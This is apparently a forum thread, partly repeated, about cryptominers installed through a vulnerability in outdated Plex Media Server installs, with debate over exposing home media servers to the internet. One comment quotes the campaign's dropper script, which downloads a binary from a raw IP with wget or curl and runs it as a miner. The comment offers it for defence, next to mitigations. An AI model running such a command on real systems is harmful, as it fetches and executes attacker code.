Yeah, this happened to me the other day. I completely missed their "please upgrade now" email on Sep 1st and was running a 13 month old version. I got a notification that my home server was at 100% usage, and found the miner right away. At least they were nice enough to name the process "mylovelyminer."
I too have an appreciation for crypto miners who don't try to hide the process. I inherited a PHP app that had been hacked and mined, and the wallet key was even an argument to the process it spawned :-)
Same, my streaming radio stations were all buffering constantly, which never happens, so I knew something was wrong.
Fortunately Claude helped me identify the problem, and helped me fix it all on my linux server. I'm a bit out of my depth with anything difficult on Linux, and AI has really been helping a lot.
I got hit with a cryptominer on my mac mini the other day. I only noticed because I happened to sitting in the room with it and noticed the fans were working overtime. There was a process, "icloud-services", which was using 100% of the CPU. It's sort of an indictment of Apple that my first inclination was "they've got a bug that's got an infinite loop" instead of "this is malicious software".
After a reboot, I traced it back to a folder in `Library/Application Support` which included a `config.json` that mentioned gulf[.]moneroocean[.]stream, so I knew I'd been popped. Cleanup was easy enough (the files themselves, plus the launch daemon), but it's annoying.
I don't do dev work on that machine (it's really just for plex & stuff) so it must have been some sort of vulnerability in Plex (but not the one described in OP) or macOS itself. Interestingly, I was up to date on my Plex install, but my macOS version was behind what was apparently an important security update related to an RCE (Sequoia 15.8).
Probably? But then I'm using the "vpn slot" on my device all the time which prevents me from connecting to my work VPN when I need it without a little vpn disable dance.
And anyway it drains the battery; and maybe I don't want to add VPN to every device I want to listen to music with, like my PC at work.
Yup. Same use-case. I ended up with a geoblock as a mitigating control. Doesn't fully prevent these types of things, but alleviates the mass-scan type attacks.
I see a lot of people here in the comments saying things like "well it was just a cryptominer". You absolutely cannot trust these machines even after you have removed the obvious cryptominer. Assume the attackers took everything they could, any authentication tokens, or anything else. You should not even trust these computers again. Erase the disk and install a new OS. It is not sufficient to just remove a running script.
I don't see anyone recommending measures to mitigate these attacks either.
The first stage is to exploit a vulnerability, and usually the second one download remote files with curl or wget to /tmp,/var/tmp,/dev/shm + execution. For example in this campaign in particular:
#!/bin/sh
if ps -eo comm= | grep -qx 'x12345'; then
exit 0
fi
cd /tmp; (wget http://217.60.194.116/x -O- || curl http://217.60.194.116/x -o-) > x12345; chmod 777 x12345; ./x12345 --donate-level 5 -o ota.proxystream.st:3333 --rig-id plexdocker
if you don't need curl/wget, just uninstall them, also from the docker container/image.
mount /tmp with noexec option, or remove exec permissions.
you can also use tools to restrict outbound connections by binary/ip/host/port such as OpenSnitch. Blocking mining pools addresses would also help in these attacks.
decloaker, chkrootkit, unhide... can help to analyze an infected system.
This applies to any kind of malware. As son as a machine is compromised you should reinstall and not trust that you removed everything. There's so much stuff happening on a computer that a malware can hide everywhere
Stage 1 and 3 of that chain are shocking. I mean, yes, security is very hard, especially in a large codebase, but they look like actively made misguided choices.
Stage 1: one endpoint checks for the token header existence, not its content. From the writeup I'm guessing all the other endpoints do check the content, so why?
Stage 3: checks if the URL starts with http://127.0.0.1, not if the domain is 127.0.0.1, to expose an admin token. Ouch.
I find plex unusable since the latest UI updates in any place but my PC browser. It's so slow that Jellyfin is really my only option now. Did the vibe-code the new changes or what?
There seems to be widespread disdain for it. AFAIK they switched to a shared codebase to make it easy for the devs to deploy to multiple devices. But, it came at the expense of UX for pretty much all devices. They don’t use native video services on things like iPhone.
The Apple TV UI change drove me crazy. I switched to Plezy but it’s still not quite what I want. The good news is, it’s open source, so I can modify it if I want to, and it supports Plex and jellyfin, which would make switching to jellyfin in the future easier.
I use Pleezy which has been a nice open source alternative to the Plex UI. The only issue we've had is that on wake, you have to press back once to do anything else. I'll eventually debug it and see if I can fix it.
On my iOS devices, hitting a season and then the episode always took me to the episode detail. I'm not sure if this is a setting to configure, I never changed any plex settings other than setting direct play.
I don't have the "back" issue, there's an "X" on the iOS app to tap to exit the video, and the "menu" key on my Apple TV works as always.
The new UI version never made it to the Xbox client so that's what I switched to using about 6 months ago. As a bonus, I got to ditch my Roku altogether.
When Plex made their free TV channels front and center, I knew things would only get worse. I've been really happy with Jellyfin, especially with the Moonfin plugin. There is a weird issue with my Samsung TV never showing subtitles but that's my only complaint.
I got hit with this. I run Plex on Linux and I hadn't realized that they changed their apt repo URL at one point so I was way behind.
Luckily, the whole attack was hilariously incompetent. All of my cores were pegged at 100 so Plex was unusable so I went to investigate and immediately found a process called MyLovelyMiner.
I imagine someone trying to run an illicit crypto miner on other people's hardware would want to do so surreptitiously, but they sure made it as obvious as they possibly could.
I'm pretty close to doing this simply because Plex has been steadily dropping in quality as it tries to transition from a media player into a streaming platform. Update after update has been making it harder and harder for me to get to my content.
It doesn't cease to amaze me how uncreative attackers are time and time again. A cryptominer in 2026? They really earned the three cents they are getting out of that.
> This is terrifying. Who runs things like this open to the outside?
Probably the majority of people with a Plex Pass subscription and most Plex users in general.
As far as I see it, Plex's primary purpose is to allow people who have extensive collections of legally obtained digital media to conveniently access it and share access to their friends and family on pretty much any random device from anywhere in the world.
All my home media devices run Kodi, they run Jellyfin, they run all sorts of fully open stuff, but when I travel Plex wins because it runs on basically anything that can stream video and I can sign in to it in seconds without needing to connect a VPN or enter my password on someone else's device.
Plex in particular is notoriously insecure. It should never be accessible to the open internet unless via a vpn like WireGuard. Just playing with fire otherwise.
That may be true, but how do you grant non-technical family/friends access? They don't even understand what a VPN is, let alone how to toggle one on/off to access the Jellyfin instance.
Additionally, if they try to connect from an Android TV / Fire Stick, where you can't configure a VPN (and use their ISP's modem, so no wireguard client on the router to transparently route to the subnet), what are you supposed to do?
I feel it may be easier long-term to just contain the Jellyfin daemon to only r/o access to media, putting it behind a subdomain like jellyfin.example.com, and use the dns-01 challenge via LE to only provision a wildcard cert for the domain (IE *.example.com).
Then, have nginx listen on 80/443 with a default server directive that returns 444 for any requests not to the (correct) jellyfin hostname (due to bots hammering 80/443 across the internet on webserver's direct IPs).
Its the only solution I can think of to make it easy for nontechnical users (everything just described is completely invisible to a regular client) while reducing the attack surface area of the daemon.
FWIW, with the aforementioned setup, I got 0 unauthorized requests to my jellyfin server. Just a bunch of bots hammering my IP's 80/443 ports directly with exploits for old (usually wordpress) vulns, but they were all served 444 (IE an immediate TCP connection close without nginx even responding to the request).
At least for me the issue is that most TVs don't have a tailscale app. I resolved this for my mother in law by setting up a permanent VPN to my house but that doesn't scale to all my friends.
Yes I’ve successfully explained Tailscale to anyone that has had a corporate job and has experience having to log into a work computer VPN before accessing their work intranet
If the alternative is dangerous exposure on the public internet, I'll choose either setting it up for them or just not sharing with them at all. Honestly I think all this widespread "family" sharing with 200 of your closest friends stuff is going to lead to another industry crackdown. I think it might be better for this stuff to stay a little geeky.
I use a raspberry pi and nginx to forward my jellyfin over Tailscale. This works really well, Tailscale is low touch and nginx is battletested. Jellyfin appears as a local service to other devices and I manage the raspberry pi with NixOS which makes the setup easy and deployable. Just plug in the pre imaged raspberry pi.
Almost all selfhosted services are in that bucket now. Everything from Plex, Jellyfin, to nextcloud or gitea/forgejo. Few months ago I went through all my setup and moved everything to a vpn. The only service I kept public is a static directory served by nginx where I keep some html food recipes I shared with a friend before.
It's less convenient to use and pretty much impossible to share with others. I can figure out a VPN on all my devices for the most part (except for a Boox ereader). Trying to get "family and friends" to install and maintain a VPN on their devices to be able to access services I share with them is a pipe dream.
Did you miss the point about working on random devices? That's the key to why I use Plex at all. If I have to install and set up a VPN client on it I'd just use Jellyfin because at that point I've limited myself to only my devices.
Also of course friends/family. The most technologically useless people I know can operate Plex and can access my collection with basically no support necessary.
Plex Media Server has had a relatively small but consequential CVE history. There are some isolated high-severity issues from 2018–2020, a pretty bad CVE in 2025, then these latest 2026 vulnerabilities.
You have no way of knowing and also how much content is legal or not
My plex library has my entire library that I’ve been curating since iTunes was released which is now predominantly FLAC files I buy from Bleep and Bandcamp
Every movie I have ever bought is there too. I suppose technically it’s all illegal right? I copied it. In some cases I even bypassed some things the DMCA outlawed to do so.
And so what?
It’s such a quaint sentiment in 2026 to care about illegal content when the entirety of the LLM industry did this, but far worse, at scale, and nobody has even charged Meta or anyone else with infringement.
> It’s such a quaint sentiment in 2026 to care about illegal content when the entirety of the LLM industry did this, but far worse, at scale, and nobody has even charged Meta or anyone else with infringement.
Two wrongs don't make a right. I try to obtain my content legitimately because all I can control in this world is whether I act right, not whether other people do.
To be fair, this is Plex's intended use case. It is not a bizarre or unsupported config to expose Plex to the internet. It is designed to be on the network so that many different invited users can all log in and access your media. This model doesn't work if they all need to be on a tailnet or similar. Maybe Plex is less secure than nginx serving a web page, but its just a matter of a trust threshold.
If it were just me using Plex then it would be different, but I can't realistically expect all my friends and family to get on a tailnet, and so I take the risk with an up-to-date Plex on the internet.
Me. Or I did back when I used it. Now I’m on Jellyfin but the point is the same.
I share my Plex/Jellyfin with a couple dozen friends and family members, all of varying levels of technical knowledge. “Install an app called Jellyfin on your smart TV” is complicated enough for most people. “Also search for another app called Tailscale and now log in with my credentials, yes it’s going to ask for control over your device’s network acces, don’t worry, it’s fine!” So now it’s just a public URL served up with Caddy.
Nothing bad has happened yet, there’s not much valuable on this machine other than CPU cycles and movies I definitely obtained legally, and I would notice right away if a cryptominer jacked up the CPU to 100%.
It's my love letter to owning multimedia.
I'm focused on minimizing friction; all comms go over Iroh, and it even works in the browser via webrtc (as of yesterday). No network expertise required.
History- I started it last year the night before my birthday so I guess it's kinda like a midlife crisis. I've been working on it relentlessly since and kind of want a real job at this point just so I can take PTO.
My goal is:
if you want the best free player, you'll pick pixel brite.
if you want the best paid player, you'll pick pixel brite.
There's going to be a very generous free tier and everyone's getting Pixel Brite+ for the foreseeable future.
Free includes all the table stakes features; hardware acceleration, remote access, adaptive bitrates, gapless, lossless, etc.
I may limit superfluous things like the metadata fidelity, make you watch one of those old timey before-the-movie reels "Let's all goto the lobby and get ourselves some snacks!", disable niceties like automatically playing similar music when the queue ends (like Spotify), themes... things like that.
What are your thoughts?
Is there anything in particular you're looking out for?
I do. I like to stream music from my server onto my phone when I'm out and about. And it's authenticated, so there's nothing terrifying about exposing it (security vulnerabilities aside, but that can happen to any software you expose).
If it's only your own clients connecting to it, have you looked into Tailscale? Even as a selfhost-all-the-things type of guy, I've been convinced. This is exactly why I started experimenting with it too, due to Android now allowing multiple VPNs at the same time. It replaced my previous setup of hosting parts of my homelab technically exposed to the internet, which were only used by my phone since it already had an always-active mullvad.
Whoops, unfortunate typo, meant to type "not". My issue was I already used the Mullvad VPN client, so I couldn't double-up with a personal wireguard VPN client for my homelab. Tailscale "solves" this by supporting mullvad exit nodes natively in the service via a direct partnership, so you can have "one" VPN with multiple nodes accessible.
I tried it once but had some issues where it was hard to get the Tailscale DNS to play nicely with my container setup. It's been a couple of years so I may be misremembering, but I want to say the issue was that it only would resolve names to the IP of the host, not the containers themselves. That could've changed by now, of course.
Plex themselves literally recommend it and show a warning icon if it’s not accessible outside your local network. I always thought it was insane. To make matters worse their Synology package doesn’t auto update itself. I would guess there are a ton of vulnerable boxes sitting out there.
If you’re exposing anything on Synology to the Internet, you’re already playing with fire. Their packages (like Container Manager) are usually very far behind on security patches.
I think the current version of Docker engine Synology uses was end-of-life 2.5 years ago.
Synology NAS - an ugly doorstop with data loss resulting from its half-baked post-purchase attempts to enforce hardware vendor lock-in. (Was working fine w/ a Western Digital drive, the next day, boom.)
I’ve had a synology NAS that’s been running for 8 years. No data loss. I use random drives I had laying around. It’s not the fastest or fanciest, but I never had any experience with lock in. It’s got a 3rd party 10g card, more memory … nothing locked in.
What get me the most, are the rabid Plex fanbois swearing that having jellyfin open on the internet is such a baaaad idea and you should spend ~50~ ~100~ 500 bucks for a sub to Plex which totally don't expose the same risk
It's a remote media streaming tool as much as a local one.
I run jellyfin on the open internet through caddy. I've done a few things to the configuration to secure it, like user-agent restrictions and fail2ban for login failures, and excessive 400 series errors. I keep it up to date.
> This is terrifying. Who runs things like this open to the outside?
A budy of mine has got 30 000 movies and series. Better offer than Netflix (what, easily 4x more choice!?). He's got a 42U rack. He gives free access to his server to his friends and family: it's not a business (so what he risks is also very limited in the country he lives in, for he's not making a business out of it).
It's not because you and I don't run Plex servers accessible from the big bad Internet that others don't enjoy doing it.
Now concerning this miner: I've posted about it in the past here on HN but I only run Jellyfin on my LAN and it's only with throwaway containers: I've got a script that sets up movies/series named/organized the way Jellyfin likes it, then that volume is passed read-only to a transient podman container.
When we're done watching the movie, the podman container is deleted. It's over: it doesn't exists anymore.
All that I care about are data: like family pictures and movies (and, say, other movies).
My Jellyfin server is just a temporary "view" on my actual data.
I don't trust it and don't need to trust it: for it's only future after I'm done watching the movie is to be destroyed.
Neat! So when you're on your tv stick or whatever, before deciding that you want to watch any movie in particular (so before the ephemeral jellyfin container is running), how does the movie selection process work?
And how did you set up the trigger to automatically spin up the ephemeral jellyfin container when a movie is selected?
I have a lifetime subscription, I use plex to share the media with the wife and kids on all of our devices, it does the job. I won't bitch about their streaming ambitions, but doing automatic updates and taking security seriously would go far for them.
You can opt-in automatic updates. If you install the non-container package, you can set it to auto upgrade.
With containers it's a questionable/clunky implementation but possible. It only works in one flavor of their official image. On startup it will check if there is an update and download it and replace the application in the container. It breaks the point of containers obviously. It also only runs on startup, so you need to restart the container to get it to run.
Nope, at least not on the platform I'm on. Just get the popup when accessing media when there is an update and can automate it or schedule for evening, but no way to automatically update it.
For anyone running PMS: the fix is in 1.43.3.10861. Anything older is vulnerable. I reported it July 27 and Plex patched and awarded a $500 bounty within about a week.
If you want to know whether you were hit, the repo has a detection/ directory with YARA rules and a read-only hunt script (github.com/code-zm/plex2shell).
I can login and control my server from plex, and I can stream via rely mode, but in the Remote Access it says "Not available outside your network". Is it safe to assume I avoided it?
Yeah, this happened to me the other day. I completely missed their "please upgrade now" email on Sep 1st and was running a 13 month old version. I got a notification that my home server was at 100% usage, and found the miner right away. At least they were nice enough to name the process "mylovelyminer."
I too have an appreciation for crypto miners who don't try to hide the process. I inherited a PHP app that had been hacked and mined, and the wallet key was even an argument to the process it spawned :-)
haha that name is amazing
Same, my streaming radio stations were all buffering constantly, which never happens, so I knew something was wrong.
Fortunately Claude helped me identify the problem, and helped me fix it all on my linux server. I'm a bit out of my depth with anything difficult on Linux, and AI has really been helping a lot.
I got hit with a cryptominer on my mac mini the other day. I only noticed because I happened to sitting in the room with it and noticed the fans were working overtime. There was a process, "icloud-services", which was using 100% of the CPU. It's sort of an indictment of Apple that my first inclination was "they've got a bug that's got an infinite loop" instead of "this is malicious software".
After a reboot, I traced it back to a folder in `Library/Application Support` which included a `config.json` that mentioned gulf[.]moneroocean[.]stream, so I knew I'd been popped. Cleanup was easy enough (the files themselves, plus the launch daemon), but it's annoying.
I don't do dev work on that machine (it's really just for plex & stuff) so it must have been some sort of vulnerability in Plex (but not the one described in OP) or macOS itself. Interestingly, I was up to date on my Plex install, but my macOS version was behind what was apparently an important security update related to an RCE (Sequoia 15.8).
Well damn. Here I was thinking I’m okay because Plex is up to date even if my OS isn’t…
Why in the world was your Plex exposed to the open internet?
Listening to music from plexamp on my phone when I'm out of the house?
That doesn't require public internet, you can and should use a VPN for that.
Would you still be able to do this if you put plex behind tailscale and connected to your tailnet on your phone?
Probably? But then I'm using the "vpn slot" on my device all the time which prevents me from connecting to my work VPN when I need it without a little vpn disable dance.
And anyway it drains the battery; and maybe I don't want to add VPN to every device I want to listen to music with, like my PC at work.
Normal Plex works using that way, so probably.
Friends and family connecting to my Plex, all non technical people.
Yup. Same use-case. I ended up with a geoblock as a mitigating control. Doesn't fully prevent these types of things, but alleviates the mass-scan type attacks.
I see a lot of people here in the comments saying things like "well it was just a cryptominer". You absolutely cannot trust these machines even after you have removed the obvious cryptominer. Assume the attackers took everything they could, any authentication tokens, or anything else. You should not even trust these computers again. Erase the disk and install a new OS. It is not sufficient to just remove a running script.
I don't see anyone recommending measures to mitigate these attacks either.
The first stage is to exploit a vulnerability, and usually the second one download remote files with curl or wget to /tmp,/var/tmp,/dev/shm + execution. For example in this campaign in particular:
if you don't need curl/wget, just uninstall them, also from the docker container/image.mount /tmp with noexec option, or remove exec permissions.
you can also use tools to restrict outbound connections by binary/ip/host/port such as OpenSnitch. Blocking mining pools addresses would also help in these attacks.
decloaker, chkrootkit, unhide... can help to analyze an infected system.
[0] https://github.com/gustavo-iniguez-goya/decloaker
[1] https://chkrootkit.org
This applies to any kind of malware. As son as a machine is compromised you should reinstall and not trust that you removed everything. There's so much stuff happening on a computer that a malware can hide everywhere
Lots of reports on Reddit about people getting popped. Other payloads too, like a DDOS node.
Plex2Shell is the proof-of-concept exploit that is feeding this. An LLM chained together several CVEs: https://zmain.info/blog/plex2shell
Stage 1 and 3 of that chain are shocking. I mean, yes, security is very hard, especially in a large codebase, but they look like actively made misguided choices.
Stage 1: one endpoint checks for the token header existence, not its content. From the writeup I'm guessing all the other endpoints do check the content, so why?
Stage 3: checks if the URL starts with http://127.0.0.1, not if the domain is 127.0.0.1, to expose an admin token. Ouch.
I find plex unusable since the latest UI updates in any place but my PC browser. It's so slow that Jellyfin is really my only option now. Did the vibe-code the new changes or what?
There seems to be widespread disdain for it. AFAIK they switched to a shared codebase to make it easy for the devs to deploy to multiple devices. But, it came at the expense of UX for pretty much all devices. They don’t use native video services on things like iPhone.
The Apple TV UI change drove me crazy. I switched to Plezy but it’s still not quite what I want. The good news is, it’s open source, so I can modify it if I want to, and it supports Plex and jellyfin, which would make switching to jellyfin in the future easier.
I use Pleezy which has been a nice open source alternative to the Plex UI. The only issue we've had is that on wake, you have to press back once to do anything else. I'll eventually debug it and see if I can fix it.
*Plezy.
$7.99 on the Canadian iOS App Store. Looks great, bought it immediately. Thanks for the rec!
It's not unusable on my shield but it's definitely worse. Not just 'change is bad' worse, but actually worse.
Selecting a season and then the episode gives you the episode summary instead of just playing the episode.
Hitting back on an episode brings up a side menu sometimes and others it leaves the episode like it should.
Why Plex?
On my iOS devices, hitting a season and then the episode always took me to the episode detail. I'm not sure if this is a setting to configure, I never changed any plex settings other than setting direct play.
I don't have the "back" issue, there's an "X" on the iOS app to tap to exit the video, and the "menu" key on my Apple TV works as always.
So much for unifying the code bases! :D
Yes its obviously a thin wrapper over the core too; many timing bugs can be seen.
The new UI version never made it to the Xbox client so that's what I switched to using about 6 months ago. As a bonus, I got to ditch my Roku altogether.
Yes, its completely unusable on my fire stick. I ended up sideloading the old apk.
There's a few alternative jellyfin clients that are really good and fast.
Plex has been enshittified since at least 2021. Most moved to Jellyfin.
When Plex made their free TV channels front and center, I knew things would only get worse. I've been really happy with Jellyfin, especially with the Moonfin plugin. There is a weird issue with my Samsung TV never showing subtitles but that's my only complaint.
I got hit with this. I run Plex on Linux and I hadn't realized that they changed their apt repo URL at one point so I was way behind.
Luckily, the whole attack was hilariously incompetent. All of my cores were pegged at 100 so Plex was unusable so I went to investigate and immediately found a process called MyLovelyMiner.
I imagine someone trying to run an illicit crypto miner on other people's hardware would want to do so surreptitiously, but they sure made it as obvious as they possibly could.
Switch to Jellyfin plus a VPN like Tailscale.
The trick is finding the best client for the device you want to watch on. There are quite some options.
This is the second time people are getting hacked via Plex vulnerabilities since I have been counting.
I'm pretty close to doing this simply because Plex has been steadily dropping in quality as it tries to transition from a media player into a streaming platform. Update after update has been making it harder and harder for me to get to my content.
It doesn't cease to amaze me how uncreative attackers are time and time again. A cryptominer in 2026? They really earned the three cents they are getting out of that.
But we do it from a much bigger tray...
https://amphetamem.es/meme?id=office-space_1999_1140&text=Bu...
> internet-facing Plex servers
This is terrifying. Who runs things like this open to the outside?
> This is terrifying. Who runs things like this open to the outside?
Probably the majority of people with a Plex Pass subscription and most Plex users in general.
As far as I see it, Plex's primary purpose is to allow people who have extensive collections of legally obtained digital media to conveniently access it and share access to their friends and family on pretty much any random device from anywhere in the world.
All my home media devices run Kodi, they run Jellyfin, they run all sorts of fully open stuff, but when I travel Plex wins because it runs on basically anything that can stream video and I can sign in to it in seconds without needing to connect a VPN or enter my password on someone else's device.
Plex in particular is notoriously insecure. It should never be accessible to the open internet unless via a vpn like WireGuard. Just playing with fire otherwise.
That may be true, but how do you grant non-technical family/friends access? They don't even understand what a VPN is, let alone how to toggle one on/off to access the Jellyfin instance.
Additionally, if they try to connect from an Android TV / Fire Stick, where you can't configure a VPN (and use their ISP's modem, so no wireguard client on the router to transparently route to the subnet), what are you supposed to do?
I feel it may be easier long-term to just contain the Jellyfin daemon to only r/o access to media, putting it behind a subdomain like jellyfin.example.com, and use the dns-01 challenge via LE to only provision a wildcard cert for the domain (IE *.example.com).
Then, have nginx listen on 80/443 with a default server directive that returns 444 for any requests not to the (correct) jellyfin hostname (due to bots hammering 80/443 across the internet on webserver's direct IPs).
Its the only solution I can think of to make it easy for nontechnical users (everything just described is completely invisible to a regular client) while reducing the attack surface area of the daemon.
FWIW, with the aforementioned setup, I got 0 unauthorized requests to my jellyfin server. Just a bunch of bots hammering my IP's 80/443 ports directly with exploits for old (usually wordpress) vulns, but they were all served 444 (IE an immediate TCP connection close without nginx even responding to the request).
Tailscale is easy to explain.
"Install this app on your Apple TV or Android TV, login with your Gmail, and let me know your email address."
At least for me the issue is that most TVs don't have a tailscale app. I resolved this for my mother in law by setting up a permanent VPN to my house but that doesn't scale to all my friends.
Yes I’ve successfully explained Tailscale to anyone that has had a corporate job and has experience having to log into a work computer VPN before accessing their work intranet
or has heard of anyone who has had one.
I was on this same line of thinking a few months ago when I made the mistake of switching to T-Mobile Home Internet and discovered I'd been CGNAT'd
Every time I want to share with someone I have to stop and debate if I want to possibly have to drive over to their house etc.
So here's my attempt at solving the problem: https://pixelbrite.site/en/profiles
This is pretty cool! Your other stuff seems cool too (esp pixel prism). Are you planning to build a business around this?
Can’t you use ipv6?
yes. But can my users? maybe.
My intention is to make it work with as little friction as possible
If the alternative is dangerous exposure on the public internet, I'll choose either setting it up for them or just not sharing with them at all. Honestly I think all this widespread "family" sharing with 200 of your closest friends stuff is going to lead to another industry crackdown. I think it might be better for this stuff to stay a little geeky.
I use a raspberry pi and nginx to forward my jellyfin over Tailscale. This works really well, Tailscale is low touch and nginx is battletested. Jellyfin appears as a local service to other devices and I manage the raspberry pi with NixOS which makes the setup easy and deployable. Just plug in the pre imaged raspberry pi.
https://news.ycombinator.com/item?id=47976708
Almost all selfhosted services are in that bucket now. Everything from Plex, Jellyfin, to nextcloud or gitea/forgejo. Few months ago I went through all my setup and moved everything to a vpn. The only service I kept public is a static directory served by nginx where I keep some html food recipes I shared with a friend before.
It's less convenient to use and pretty much impossible to share with others. I can figure out a VPN on all my devices for the most part (except for a Boox ereader). Trying to get "family and friends" to install and maintain a VPN on their devices to be able to access services I share with them is a pipe dream.
I feel generally okay about putting some services behind Authelia for family and friends.
Gitea got hit with a similar issue about a month back.
Did you miss the point about working on random devices? That's the key to why I use Plex at all. If I have to install and set up a VPN client on it I'd just use Jellyfin because at that point I've limited myself to only my devices.
Also of course friends/family. The most technologically useless people I know can operate Plex and can access my collection with basically no support necessary.
Any citation for that or is that notoriety something that grew in your head?
Plex Media Server has had a relatively small but consequential CVE history. There are some isolated high-severity issues from 2018–2020, a pretty bad CVE in 2025, then these latest 2026 vulnerabilities.
I don't think any more than 5% of Plex users are using it for legally-obtained content.
You have no way of knowing and also how much content is legal or not
My plex library has my entire library that I’ve been curating since iTunes was released which is now predominantly FLAC files I buy from Bleep and Bandcamp
Every movie I have ever bought is there too. I suppose technically it’s all illegal right? I copied it. In some cases I even bypassed some things the DMCA outlawed to do so.
And so what?
It’s such a quaint sentiment in 2026 to care about illegal content when the entirety of the LLM industry did this, but far worse, at scale, and nobody has even charged Meta or anyone else with infringement.
Plex and their users is not the problem
What an unnecessary rant. I know the legality of my own Plex collection, which is zero.
Cool. The parent claim was that 5% of users were doing something. A claim which has no basis in evidence.
> It’s such a quaint sentiment in 2026 to care about illegal content when the entirety of the LLM industry did this, but far worse, at scale, and nobody has even charged Meta or anyone else with infringement.
Two wrongs don't make a right. I try to obtain my content legitimately because all I can control in this world is whether I act right, not whether other people do.
Legal != moral
When laws are only enforced against an underclass, they are inherently immoral
I think 5% would be optimistic. One of the original 'Arr' apps was created by a Plex employee.
To be fair, this is Plex's intended use case. It is not a bizarre or unsupported config to expose Plex to the internet. It is designed to be on the network so that many different invited users can all log in and access your media. This model doesn't work if they all need to be on a tailnet or similar. Maybe Plex is less secure than nginx serving a web page, but its just a matter of a trust threshold.
If it were just me using Plex then it would be different, but I can't realistically expect all my friends and family to get on a tailnet, and so I take the risk with an up-to-date Plex on the internet.
Plex and Tailscale are notoriously tricky to get working together. Just any search of those two words returns pages of forum help topics
Many people, as your TV and sometimes friends have to connect to it and you don't want to explain Tailscale to them.
Me. Or I did back when I used it. Now I’m on Jellyfin but the point is the same.
I share my Plex/Jellyfin with a couple dozen friends and family members, all of varying levels of technical knowledge. “Install an app called Jellyfin on your smart TV” is complicated enough for most people. “Also search for another app called Tailscale and now log in with my credentials, yes it’s going to ask for control over your device’s network acces, don’t worry, it’s fine!” So now it’s just a public URL served up with Caddy.
Nothing bad has happened yet, there’s not much valuable on this machine other than CPU cycles and movies I definitely obtained legally, and I would notice right away if a cryptominer jacked up the CPU to 100%.
You largely have to for Plex themselves to middleman access to your media collection.
I'll fully admit I do.
The point of Plex is sharing your library with less ... technical users.
If I didn't want to do that, I'd not even use Jellyfin- SMB share and mpv would be fine with me.
Essentially every technical person I know.
Feeling very validated that I went with Iroh @ https://pixelbrite.site
This is my first time hearing about Pixel Brite, what's the history behind it?
It's my love letter to owning multimedia. I'm focused on minimizing friction; all comms go over Iroh, and it even works in the browser via webrtc (as of yesterday). No network expertise required.
History- I started it last year the night before my birthday so I guess it's kinda like a midlife crisis. I've been working on it relentlessly since and kind of want a real job at this point just so I can take PTO.
testflite@pixelbrite.site if interested
Do you intend this to be a freemium alternative akin to Plex, or plan to open source it and more of an alternative to Jellyfin?
My goal is: if you want the best free player, you'll pick pixel brite. if you want the best paid player, you'll pick pixel brite.
There's going to be a very generous free tier and everyone's getting Pixel Brite+ for the foreseeable future.
Free includes all the table stakes features; hardware acceleration, remote access, adaptive bitrates, gapless, lossless, etc.
I may limit superfluous things like the metadata fidelity, make you watch one of those old timey before-the-movie reels "Let's all goto the lobby and get ourselves some snacks!", disable niceties like automatically playing similar music when the queue ends (like Spotify), themes... things like that.
What are your thoughts? Is there anything in particular you're looking out for?
I do run it open to the outside through cloudflare tunnels. I don't want to connect my TVs to tailscale every time to play a movie.
Didn’t cloudflare’s TOS prohibit streaming media ? At least last time I checked 2-3 years ago.
Why wouldn't they?
The chief complaint is really an indictment of every piece of shit modern web app backend.
I do. I like to stream music from my server onto my phone when I'm out and about. And it's authenticated, so there's nothing terrifying about exposing it (security vulnerabilities aside, but that can happen to any software you expose).
If it's only your own clients connecting to it, have you looked into Tailscale? Even as a selfhost-all-the-things type of guy, I've been convinced. This is exactly why I started experimenting with it too, due to Android now allowing multiple VPNs at the same time. It replaced my previous setup of hosting parts of my homelab technically exposed to the internet, which were only used by my phone since it already had an always-active mullvad.
Er? Android supports multiple VPNs at the same time on the same user profile? Since when exactly?
Whoops, unfortunate typo, meant to type "not". My issue was I already used the Mullvad VPN client, so I couldn't double-up with a personal wireguard VPN client for my homelab. Tailscale "solves" this by supporting mullvad exit nodes natively in the service via a direct partnership, so you can have "one" VPN with multiple nodes accessible.
I tried it once but had some issues where it was hard to get the Tailscale DNS to play nicely with my container setup. It's been a couple of years so I may be misremembering, but I want to say the issue was that it only would resolve names to the IP of the host, not the containers themselves. That could've changed by now, of course.
Plex themselves literally recommend it and show a warning icon if it’s not accessible outside your local network. I always thought it was insane. To make matters worse their Synology package doesn’t auto update itself. I would guess there are a ton of vulnerable boxes sitting out there.
If you’re exposing anything on Synology to the Internet, you’re already playing with fire. Their packages (like Container Manager) are usually very far behind on security patches.
I think the current version of Docker engine Synology uses was end-of-life 2.5 years ago.
Yeah, please avoid Synology, really. If you have it or need it DONT expose it to the internet.
Synology NAS - an ugly doorstop with data loss resulting from its half-baked post-purchase attempts to enforce hardware vendor lock-in. (Was working fine w/ a Western Digital drive, the next day, boom.)
I’ve had a synology NAS that’s been running for 8 years. No data loss. I use random drives I had laying around. It’s not the fastest or fanciest, but I never had any experience with lock in. It’s got a 3rd party 10g card, more memory … nothing locked in.
good for you, I hope it lasts another decade+
just sharing my lived experience
It just has to pass through one port, right? Is that the kind of thing that's likely to be vulnerable on an outdated server?
What get me the most, are the rabid Plex fanbois swearing that having jellyfin open on the internet is such a baaaad idea and you should spend ~50~ ~100~ 500 bucks for a sub to Plex which totally don't expose the same risk
I wouldn't go that far. It's just Jellyfin is ugly as shit.
When was the last time you tried it? I used to agree, but at least as of last year, it must've undergone a UI overhaul as now it looks quite nice imo.
That's half the utility of it. Friends and family use it, I use it when traveling.
It's a remote media streaming tool as much as a local one.
I run jellyfin on the open internet through caddy. I've done a few things to the configuration to secure it, like user-agent restrictions and fail2ban for login failures, and excessive 400 series errors. I keep it up to date.
> This is terrifying. Who runs things like this open to the outside?
A budy of mine has got 30 000 movies and series. Better offer than Netflix (what, easily 4x more choice!?). He's got a 42U rack. He gives free access to his server to his friends and family: it's not a business (so what he risks is also very limited in the country he lives in, for he's not making a business out of it).
It's not because you and I don't run Plex servers accessible from the big bad Internet that others don't enjoy doing it.
Now concerning this miner: I've posted about it in the past here on HN but I only run Jellyfin on my LAN and it's only with throwaway containers: I've got a script that sets up movies/series named/organized the way Jellyfin likes it, then that volume is passed read-only to a transient podman container.
When we're done watching the movie, the podman container is deleted. It's over: it doesn't exists anymore.
All that I care about are data: like family pictures and movies (and, say, other movies).
My Jellyfin server is just a temporary "view" on my actual data.
I don't trust it and don't need to trust it: for it's only future after I'm done watching the movie is to be destroyed.
I'm finding the idea of spawning then killing Jellyfin over and over again like Groundhog Day really funny
Neat! So when you're on your tv stick or whatever, before deciding that you want to watch any movie in particular (so before the ephemeral jellyfin container is running), how does the movie selection process work?
